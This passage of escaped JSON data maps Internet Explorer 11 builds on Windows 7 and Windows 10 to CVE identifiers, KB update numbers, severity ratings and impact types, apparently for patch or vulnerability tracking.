Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4054517\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343897\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343897\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525241\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537789\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1803 for 32-bit Systems\":[{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343909\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343909\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471324\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471324\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525237\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003174\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1803 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471324\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525237\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003174\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1803 for x64-based Systems\":[{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103721\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338819\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343909\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343909\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471324\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471324\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471324\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480966\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493464\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525237\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003174\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1809 for 32-bit Systems\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4523205\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003171\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1809 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4523205\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003171\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1809 for x64-based Systems\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471332\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471332\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4523205\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003171\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1903 for 32-bit Systems\":[{\"cve\":\"CVE-2019-1429\",\"kb\":\"4524570\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1903 for ARM64-based Systems\":[{\"cve\":\"CVE-2019-1429\",\"kb\":\"4524570\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1903 for x64-based Systems\":[{\"cve\":\"CVE-2019-1429\",\"kb\":\"4524570\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1909 for 32-bit Systems\":[{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003169\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1909 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003169\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1909 for x64-based Systems\":[{\"cve\":\"CVE-2020-0674\",\"kb\":\"4532693\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003169\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 2004 for 32-bit Systems\":[{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 2004 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 2004 for x64-based Systems\":[{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 20H2 for 32-bit Systems\":[{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 20H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003173\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156387\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048956\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053581\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025338\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034668\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343892\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471323\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471323\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471323\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003172\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156387\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4042895\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048956\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053581\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053581\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025338\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034668\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034668\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074596\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338829\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343892\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343892\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471323\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471323\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471323\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537776\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003172\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 7 for 32-bit Systems Service Pack 1\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048957\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025341\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034664\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034664\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338818\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338818\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343900\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471318\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471318\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480970\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493472\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525235\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537820\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003233\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 7 for x64-based Systems Service Pack 1\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012204\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4040685\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048957\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4052978\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4052978\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025341\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034664\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034664\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088875\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103718\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338818\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338818\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343900\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343900\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4466536\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471318\",\"severity\":\"Important\",\"impact\":\"Remote Code 